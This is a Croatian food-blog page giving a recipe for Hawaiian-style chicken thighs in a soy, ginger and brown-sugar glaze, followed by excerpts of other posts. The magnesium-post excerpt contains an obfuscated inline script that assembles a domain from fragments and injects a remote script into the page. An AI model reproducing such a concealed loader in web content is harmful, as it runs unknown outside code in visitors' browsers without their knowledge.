HAVAJSKA PILETINA U SOJINOM UMAKU 🐔






Havajska piletina u sojinom umaku 




Ovaj recept savršen je izbor za ukusnu večeru i onda kad nemate prevoše vremena jer se jelo kuha tek malo više od pola sata. Piletina se lagano pirja u aromatičnom umaku koji se pretvara u ljepljivu glazuru koja se sjajno veže uz rižu ili drugi prilog po vašem izboru.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Havajska piletina u sojinom umaku 



Sastojci:

  • 15 ml ulja
  • 900 g pilećih bataka s kostima i kožom
  • 1 čajna žličica soli
  • 1 komad svježeg đumbira (5 cm), oguljen i tanko narezan
  • 3 češnja češnjaka, tanko narezana
  • 105 g smeđeg šećera
  • 120 ml sojinog umaka
  • 120 ml vode + još 15 ml (za glazuru)
  • 2 čajne žličice kukuruznog škroba
  • 1 mladi luk (samo zeleni i svijetlozeleni dijelovi), tanko narezan, po želji

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. U velikoj, dubokoj tavi ili loncu zagrijte ulje na srednje jakoj vatri. Posolite piletinu i složite batke u hladnu tavu kožom prema dolje. Pecite bez miješanja oko 10 minuta dok koža ne postane zlatno-hrskava i lako se odvaja od tave. Okrenite batke i kratko ih zapecite još 1–2 minute, zatim ih izvadite na tanjur
  2. U istu tavu dodajte narezani đumbir i češnjak. Pržite ih na srednje jakoj vatri i miješajte oko 1 minutu, dok ne puste aromu. Umiješajte smeđi šećer, sojin umak i 120 ml vode, i miješajte dok se šećer potpuno ne otopi.
  3. Vratite piletinu u tavu kožom prema gore. Pustite da umak proključa, a zatim smanjite vatru na srednje slabu i poklopite. Pirjajte piletinu 13–18 minuta dok ne bude potpuno pečena.
  4. Izvadite piletinu na čisti tanjur. Pojačajte vatru i pustite da se umak kuha 2–3 minute dok se lagano ne zgusne i ne dobije tamnu smeđu boju. U zdjelici pomiješajte kukuruzni škrob i 15 ml hladne vode i umiješajte u umak. Kuhajte još oko 1 minutu dok se umak ne zgusne u glazuru.
  5. Vratite piletinu u tavu i okrećite da se obloži glazurom. Po želji dodajte narezani mladi luk za svježinu. Poslužite odmah uz kuhanu rižu ili prilog po izboru.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više